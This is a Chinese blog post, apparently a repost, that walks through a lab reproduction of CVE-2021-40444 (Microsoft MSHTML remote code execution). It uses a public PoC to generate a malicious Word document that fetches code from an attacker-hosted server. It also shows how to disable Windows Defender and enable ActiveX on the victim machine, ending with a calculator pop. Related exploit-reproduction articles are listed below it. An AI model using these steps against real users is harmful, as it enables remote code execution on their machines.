1. Toy模板网首页
  2. > Toy博客

CVE-2021-40444 Microsoft MSHTML RCE简单复现

9月前 作者：心肠不坏 分类：Toy博客 阅读(31) 违法举报

这篇具有很好参考价值的文章主要介绍了CVE-2021-40444 Microsoft MSHTML RCE简单复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

漏洞概述：

2021年9月8日，微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞，攻击者可通过制作恶意的ActiveX控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码，微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。
[

](https://blog.csdn.net/weixin_42345596/article/details/120327007)
MSHTML是微软旗下的Internet Explorer浏览器引擎，也用于Office应用程序，以在Word、Excel或PowerPoint文档中呈现Web托管的内容，AcitveX控件是微软COM架构下的产物，在Windows的Office套件、IE浏览器中有广泛的应用，利用ActiveX控件即可与MSHTML组件进行交互。
影响范围

Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems

漏洞复现

复现环境： win10(office10) , kali
下载POChttps://github.com/lockedbyte/CVE-2021-40444

安装lcab包

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make

ie mshtml rce poc,漏洞复现,安全

进入CVE-2021-40444-master目录
执行命令

 python3 exploit.py generate test/calc.dll http://169.254.96.129:80

执行过后可以看到在out目录下生成了document.docx文件
ie mshtml rce poc,漏洞复现,安全

开启http服务

python exploit.py host 80

ie mshtml rce poc,漏洞复现,安全

配置靶机环境

靶机win10 关闭defender
win+R键 输入gpedit.msc
![3NMF5[0_}C7T0]Q9MBH]EZC.png](https://img-blog.csdnimg.cn/img_convert/861917e87ac5732a3e2d11c87c498365.png#clientId=ucc126c04-be4a-4&from=drop&id=u064615fe&margin=[object Object]&name=3NMF5[0_}C7T0]Q9MBH]EZC.png&originHeight=282&originWidth=669&originalType=binary&ratio=1&size=81040&status=done&style=none&taskId=u00265442-cf4b-473c-8c0d-1f5fbd1788c)
点管理模板->Windows组件->Windows Defender防病毒程序
ie mshtml rce poc,漏洞复现,安全ie mshtml rce poc,漏洞复现,安全

双击关闭实时防护
点击启用
![5@T@FCZF~}UGPXEEIV3}[{P.png](https://img-blog.csdnimg.cn/img_convert/9e8504ee3e18809a18fbd8cd19ca7bce.png#clientId=ucc126c04-be4a-4&from=drop&id=u9d13861e&margin=[object Object]&name=5@T@FCZF~}UGPXEEIV3}[{P.png&originHeight=386&originWidth=800&originalType=binary&ratio=1&size=47059&status=done&style=none&taskId=uf95dfbb8-97a1-4cc0-ab15-146f820b647)
打开IE浏览器 设置找到Internet选项
点击安全
ie mshtml rce poc,漏洞复现,安全

启用ActiveX 控件和插件
![%676AFO}9SFFJUK9DVEQ)PK.png](https://img-blog.csdnimg.cn/img_convert/3a35908bab28afd2be558250b62af868.png#clientId=ucc126c04-be4a-4&from=drop&id=u1ff498ff&margin=[object Object]&name=%676AFO}9SFFJUK9DVEQ)
靶机环境配置完毕！
使用ftp把document.docx文件拉到桌面
ftp:// ip地址 /
ie mshtml rce poc,漏洞复现,安全
下载office2010用来打开document文件
下载地址
https://www.cr173.com/soft/10289.html
下载完直接安装就行
ie mshtml rce poc,漏洞复现,安全
用word打开document文件
可以看到 弹出了计算器窗口 说明代码执行了
ie mshtml rce poc,漏洞复现,安全
查看攻击机 监听的80端口： 打开文件时请求了/word.html页面
ie mshtml rce poc,漏洞复现,安全文章来源地址https://www.toymoban.com/news/detail-530925.html

到了这里，关于CVE-2021-40444 Microsoft MSHTML RCE简单复现的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处： 如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：
领支付宝红包 赞助服务器费用

相关文章

  • CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE

    CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE

    微服务架构与Spring Cloud 最开始时，我们开发java项目时，所有的代码都在一个工程里，我们把它称为单体架构。当我们的项目的代码量越来越大时，开发的成员越来越多时，这时我们项目的性能以及我们开发的效率都会存在非常大的问题，所以对于这样的项目，我们需要把它

    2023年04月14日
    浏览(46)

  • CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析（二）

    文章写于2022-01-19，首发在天融信阿尔法实验室 1 前言 2 前置知识 2.1 JPEG文件格式 2.2 Perl模式匹配 3 exiftool源码调试到漏洞分析 3.1 环境搭建 3.2 漏洞简介 3.3 exiftool是如何解析嵌入的0xc51b标签 3.4 exiftool是如何调用parseAnt函数 3.5 parseAnt函数分析 3.6 parseAnt漏洞分析 4 漏洞利用 4.1

    2024年02月14日
    浏览(37)

  • Fortinet FortiNAC RCE漏洞复现(CVE-2022-39952)

          FortiNAC(Network Access Control) 是Fortinet的一种零信任网络访问控制解决方案，可增强用户对企业网络上的物联网 (IoT) 设备的监控。NAC 是零信任网络访问安全模型的重要组成部分，在该模型中，IT 团队可以轻松了解正在访问网络的人员和设备，以及如何保护网络内外的公司资

    2024年02月06日
    浏览(42)
  • CVE-2021–26855与CVE-2021–27065漏洞分析及复现

    CVE-2021–26855与CVE-2021–27065漏洞分析及复现

    文章首发先知社区：https://xz.aliyun.com/t/10098 微软在上半年三月披露了关于Exchange邮件服务器 CVE-2021–26855 (SSRF)与 CVE-2021–27065 (任意文件写入)的漏洞,这两个漏洞配合可以造成未授权的webshell写入,是非常严重的高危漏洞。漏洞刚出来那会儿并未注意,正好前两天4哥在群里发了个关

    2024年02月07日
    浏览(39)
  • CVE -2022-26134漏洞复现(Confluence OGNL 注入rce漏洞)

    CVE -2022-26134漏洞复现(Confluence OGNL 注入rce漏洞)

    0x01 Atlassian Confluence Atlassian Confluence是一个专业的企业知识管理与协同软件，主要用于公司内员工创建知识库并建立知识管理流程，也可以用于构建企业wiki。其使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。因此

    2024年02月16日
    浏览(46)
  • CVE-2022-30190：Microsoft Office MSDT Rce漏洞

    CVE-2022-30190：Microsoft Office MSDT Rce漏洞

    读者需知 本文仅供学习使用，由于传播和利用此文所造成的损失均由使用者本人负责，文章作者不为此承担责任 目录 简介 影响版本 复现过程 风险危害 修复意见 MSDT（Microsoft Support Diagnostics Tool，微软支持诊断工具）是一个Windows实用程序，用于排除故障并收集诊断数据以供

    2024年02月05日
    浏览(62)

  • Sudo堆溢出漏洞(CVE-2021-3156)复现

    2021 年 1 月 26 日，Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时，错误的判断了截断符，从而导致攻击者可以恶意构造载荷，使得sudo发生堆溢出，该漏洞在配合环境变量等分配堆以及释放堆的原语下，可以致使本地提权。 环境版本 • ubuntu 20.04 • su

    2024年02月11日
    浏览(34)
  • CVE-2021-22205 GitLab 远程命令执行漏洞复现

    CVE-2021-22205 GitLab 远程命令执行漏洞复现

    目录 一、漏洞信息 二、环境搭建 三、复现过程 1.测试漏洞 2.漏洞利用，反弹shell 四、修复建议 一、漏洞信息 漏洞名称 GITLAB 远程命令执行漏洞 漏洞编号 CVE-2021-22205 危害等级 高危 CVSS评分 6.5 漏洞厂商 Ruby 受影响版本 11.9 = Gitlab CE/EE 13.8.8；13.9 = Gitlab CE/EE 13.9.6；13.10 = Gitlab

    2024年02月05日
    浏览(41)
  • HIKVISION海康威视代码执行漏洞复现(CVE-2021-36260)

    HIKVISION海康威视代码执行漏洞复现(CVE-2021-36260)

    2023年将会持续于B站、CSDN等各大平台更新，可加入粉丝群与博主交流:838681355，为了老板大G共同努力。 GET访问/x.asp

    2024年02月12日
    浏览(40)
  • Django系列所有漏洞复现vulhubCVE-2018-14574，CVE-2022-34265，CVE-2021-35042

    Django系列所有漏洞复现vulhubCVE-2018-14574，CVE-2022-34265，CVE-2021-35042

    Django默认配置下，如果匹配上的URL路由中最后一位是/，而用户访问的时候没加/，Django默认会跳转到带/的请求中。（由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定）。 在path开头为//example.com的情况下，Django没做处理，导致浏览器认为目的地址是绝对路径，最

    2024年02月07日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包，优惠每天领

二维码1

领取红包

二维码2

领红包